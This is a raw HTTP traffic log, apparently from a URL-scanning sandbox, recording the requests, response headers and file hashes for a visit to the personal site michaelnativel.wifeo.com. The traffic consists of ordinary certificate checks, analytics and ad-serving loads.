POST / HTTP/1.1 Host: ocsp.comodoca.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: DCB6634C4C792E97ABC7AB81D1547DED89D9BB54 Cache-Control: max-age=508705,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 727 Connection: close --- Additional Info --- Magic: data Size: 727 Md5: bb036011ba960703bc42715ab357400e Sha1: dcb6634c4c792e97abc7ab81d1547ded89d9bb54 Sha256: c0e0f50e0154cccbf5b8c799e6106e6a14edd544c65d8e3acac0dff61d652a2d
GET /bootstrap/4.0.0-beta.2/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	94.31.29.16 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:27 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Thu, 19 Oct 2017 19:52:04 GMT Etag: W/"46b549bdc90920f18a911f186b9dd75c" Server: NetDNA-cache/2.2 Expires: Fri, 08 Feb 2019 14:02:27 GMT Cache-Control: max-age=31104000 Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Hello-Human: Say hello back! @getBootstrapCDN on Twitter X-Cache: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 14943 Md5: 47e4f9aae4f1b3315f674638f91badf2 Sha1: a8d261e1d4ce9910561b846fe82b0bbf683d65a7 Sha256: 5cd8e30ca5b6124adc64b6beb1ebfd735c42ad237f1d4613b796e8628a8d48bb
GET /favicon-defaut.ico HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/vnd.microsoft.icon Date: Tue, 13 Feb 2018 14:02:27 GMT Server: WIFEO Last-Modified: Fri, 08 Jul 2016 07:27:42 GMT Etag: "13e-5371abcf74628" Vary: User-Agent X-Varnish: 143529301 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Content-Length: 318 Accept-Ranges: bytes --- Additional Info --- Magic: MS Windows icon resource - 1 icon Size: 318 Md5: c94e8785f438295d0ad739fbcb8f5a52 Sha1: 351618b89006dc436ba44a41f02d478f05c15f9f Sha256: f35ca1fa165fecc632ae1b4d3c1fa2427a6bf8e1ddd35fd5363b5f687c23cd27
GET /ga.js HTTP/1.1 Host: www.google-analytics.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.21.142 HTTP/1.1 200 OK Content-Type: text/javascript Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 13:15:47 GMT Expires: Tue, 13 Feb 2018 15:15:47 GMT Last-Modified: Mon, 13 Nov 2017 20:19:12 GMT X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Server: Golfe2 Content-Length: 17172 Age: 2800 Cache-Control: public, max-age=7200 --- Additional Info --- Magic: gzip compressed data, max compression Size: 17172 Md5: 43adefe535269f3b75e0f229d0dba4d6 Sha1: 5e3bed19757401b3aa6c8ab8b5f26aa17add8a3a Sha256: fc7f9d5234f97de0433021d02e8969a93003d90bf16d40a9cb2d8f5c7bfaa398
GET /v5/img/logo-wifeo-160.svg HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Range: bytes=0- If-Range: "1963-53d135b636155"	$Magic: SVG Scalable Vector Graphics image\012 XML document text Size: 6499 Md5: e036707eac2a661d5e7a7d8950fc6e7f$ 194.146.225.153 HTTP/1.1 206 Partial Content Content-Type: image/svg+xml Date: Tue, 13 Feb 2018 14:02:27 GMT Server: WIFEO Last-Modified: Thu, 22 Sep 2016 07:10:30 GMT Etag: "1963-53d135b636155" Accept-Ranges: bytes Content-Length: 6499 Vary: User-Agent Content-Range: bytes 0-6498/6499 Connection: close --- Additional Info --- Magic: SVG Scalable Vector Graphics image\012 XML document text Size: 6499 Md5: e036707eac2a661d5e7a7d8950fc6e7f Sha1: dbec14ebd1fa8d3fe6c8cdddbc4355f93605e808 Sha256: 8291f64e8fb978d4ad3024326d1f4af37aaf998dc1bb8293ad0a96628640a49d
GET /r/__utm.gif?utmwv=5.7.1&utms=1&utmn=742798995&utmhn=michaelnativel.wifeo.com&utme=8(affpub)9(oui)&utmcs=UTF-8&utmsr=1176x885&utmvp=1159x754&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmdt=Michael%20Nativel%2C%20accueil%20du%20site&utmhid=1665291383&utmr=-&utmp=%2Fmichaelnativel%2F&utmht=1518530548322&utmac=UA-607176-1&utmcc=__utma%3D1.1006486668.1518530548.1518530548.1518530548.1%3B%2B__utmz%3D1.1518530548.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmjid=573895599&utmredir=1&utmu=qzCAAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1 Host: www.google-analytics.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.21.142 HTTP/1.1 200 OK Content-Type: image/gif Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:28 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT X-Content-Type-Options: nosniff Server: Golfe2 Content-Length: 35 --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:39 GMT Etag: "5a829b1f-1d7" Expires: Thu, 15 Feb 2018 14:02:39 GMT Last-Modified: Tue, 13 Feb 2018 08:00:31 GMT Server: ECS (arn/4691) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: d2c2e35ef0bacca61d9c0a287eb8f7d5 Sha1: 528206550ee7bd603166c973dd2ad8be497207e2 Sha256: 68a9e5cf773365327ee2392ab3e5ac439750b509156bf8ac5295be90a90167d6
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:39 GMT Etag: "5a8292d3-1d7" Expires: Thu, 15 Feb 2018 14:02:39 GMT Last-Modified: Tue, 13 Feb 2018 07:25:07 GMT Server: ECS (arn/4598) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: 9ef9b5ee5b90d4f847262ac201fcb1fd Sha1: 7c541db4cf9b5f9b47a3fd35030be2b260aa486d Sha256: ca6f48fb3d346f3743dc3665c32f409202707209daa6f2d2706be5154cef7028
GET /edacead583.js HTTP/1.1 Host: use.fontawesome.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	23.111.9.35 HTTP/1.1 200 OK Content-Type: text/javascript Date: Tue, 13 Feb 2018 14:02:39 GMT Transfer-Encoding: chunked Connection: keep-alive x-amz-id-2: FxHfQfDO/owJ8Plzeu4FcJsmrf5zKxlBSzwPxGjTlv0O8wF7MjEqNYKaiO9MC9b0aKlyAooSF28= x-amz-request-id: B103B21FDA05EB68 Last-Modified: Fri, 24 Feb 2017 10:38:02 GMT Etag: W/"a4e19008187b98c3adaeeba10a5cda8a" Server: NetDNA-cache/2.2 Cache-Control: max-age=0, private, must-revalidate X-Cache: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 3860 Md5: de3c523e35fced54fbee82fa93fad81a Sha1: ee8b93670e2c6ffb0cb713f616bfe93bbf0363d8 Sha256: 58460d8be64a9fd1826ed33519d7b000764714fef4cc17e97099a91e696979d2
GET /pagead/js/r20180207/r20170110/show_ads_impl.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:40 GMT Expires: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: private, max-age=1209600 Etag: 4433304288936196502 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 67646 X-XSS-Protection: 1; mode=block --- Additional Info --- Magic: gzip compressed data, max compression Size: 67646 Md5: cce91a88f525640083b0ebe057a30af4 Sha1: b9cf4be249b5af3dda774dfb75e73d482da706c5 Sha256: dd6dac5265c4b1796715889313e4b9271b4547f66739424357f89dc45eac882b
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: fcd56e1351782e87ef4f73d429e4ded4 Sha1: f6f1ce80b96c014e654132c41d109a131ee5bc3c Sha256: 340ac1b5b28c1c9c0280d32661fe3b614a32fc66f327fb93f5a98fdbe0c176b0
POST /gsr2 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 112 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 468 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 468 Md5: 6bf50ec404fb4a8b4a94be8390d11938 Sha1: 0caaab7704d6221abc5e0342909a4928cee50b1c Sha256: 63b592179b1e9a528344ce1d430b9479fc55f43420a468ec35aaeaa9dff911cf
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: 6ea90b04815236e9005a97e76148e394 Sha1: 256637485a6d2ab91f66dfc94598aafaa31250c0 Sha256: 98fe9ca5bbe415d51e7c4c01f2ccbfd26909479017bb040d52309743c3eb0dba
GET /adsid/integrator.js?domain=michaelnativel.wifeo.com HTTP/1.1 Host: adservice.google.no User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657 for more info." Timing-Allow-Origin: * Cache-Control: private, no-cache, no-store X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:40 GMT Server: cafe X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 107 Md5: 5432a558d422eaeaa6f7e8a15c0c1134 Sha1: 252ee6dbb502fd998fbdc5721da5986b877f1c73 Sha256: e61d268069b171358cb5d545e31856cbc3ac2b995cff5e4f7043ae988dc44c6d
POST /ocsp HTTP/1.1 Host: clients1.google.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: 4bb2e4074fe5f9f8d715e5888d0b4188 Sha1: 8d020c92f7f3278b86d901ebef396c31d5e39d51 Sha256: cc9e9c93a83b6c3b89cfb24126cc32cfb0876f7705046b642039176859c160e0
POST / HTTP/1.1 Host: g.symcd.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	23.52.27.27 HTTP/1.1 200 OK Content-Type: application/ocsp-response Server: nginx/1.12.2 Content-Length: 1391 Content-Transfer-Encoding: binary Cache-Control: max-age=546923, public, no-transform, must-revalidate Last-Modified: Mon, 12 Feb 2018 21:56:01 GMT Expires: Mon, 19 Feb 2018 21:56:01 GMT Date: Tue, 13 Feb 2018 14:02:40 GMT Connection: keep-alive --- Additional Info --- Magic: data Size: 1391 Md5: dab664d03e303a7b1deba30189c57d23 Sha1: 1a87b2335fc304a7783b6f7ffdb5ff97367d30de Sha256: a420898c491aa5011be91b1f128d5401a72f65f88f6db5db605abde5677fb03d
GET /pagead/html/r20180207/r20170110/zrt_lookup.html HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Date: Wed, 07 Feb 2018 18:42:53 GMT Expires: Wed, 21 Feb 2018 18:42:53 GMT Etag: 7893540961313292660 X-Content-Type-Options: nosniff Content-Encoding: gzip Server: cafe Content-Length: 6819 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 501587 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 6819 Md5: 8caea4ee531aab9f5d9328f80b7b23f3 Sha1: 3c1b05353b141a9e742555def5993bee1ec31ecd Sha256: 0c3ec59d66f4780431ae46c09d53fe92c858ea2f05c6a5e02a17ab56d4428ff4
GET /adsid/integrator.js?domain=michaelnativel.wifeo.com HTTP/1.1 Host: adservice.google.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657 for more info." Timing-Allow-Origin: * Cache-Control: private, no-cache, no-store X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:40 GMT Server: cafe X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 107 Md5: 5432a558d422eaeaa6f7e8a15c0c1134 Sha1: 252ee6dbb502fd998fbdc5721da5986b877f1c73 Sha256: e61d268069b171358cb5d545e31856cbc3ac2b995cff5e4f7043ae988dc44c6d
GET /pub-config/r20160913/ca-pub-5439285203515723.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 125 Date: Tue, 13 Feb 2018 10:17:42 GMT Expires: Tue, 13 Feb 2018 22:17:42 GMT Last-Modified: Sun, 11 Feb 2018 21:18:39 GMT X-Content-Type-Options: nosniff Content-Encoding: gzip Server: sffe X-XSS-Protection: 1; mode=block Age: 13498 Cache-Control: public, max-age=43200 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 125 Md5: f80120281945bc2ccdaebc64cbad921d Sha1: b5c7ef140888ede182fcac94921a4eb502f07a5c Sha256: 4cb4b9970ec5cedababe29f9a4ab00d00194bbebd2063cb117dec008b8c6982a
GET /pagead/js/r20180207/r20170110/osd.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Thu, 08 Feb 2018 11:52:19 GMT Expires: Thu, 22 Feb 2018 11:52:19 GMT Etag: 14152819666964886147 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 29995 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 439821 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 29995 Md5: ca42dee86b721494eb2a8c4f93c4508d Sha1: 17ee6f68a61be238ce54d20d056a7a5834c52d80 Sha256: ea4ea916582c5f861acd268ab627997ac61a0a978dbeb3ff1685e0f0679a9ea5
GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 6231 Md5: 00d16c674d1e6b92c5db9d73c2c3e570 Sha1: e19156917513fca67b3e7108c0c23a8dbcfeeb3e Sha256: 3b141073b532d1e8da6238a6d06281b4c269edd3bf3fd54c5d3e7ff44fdc415c
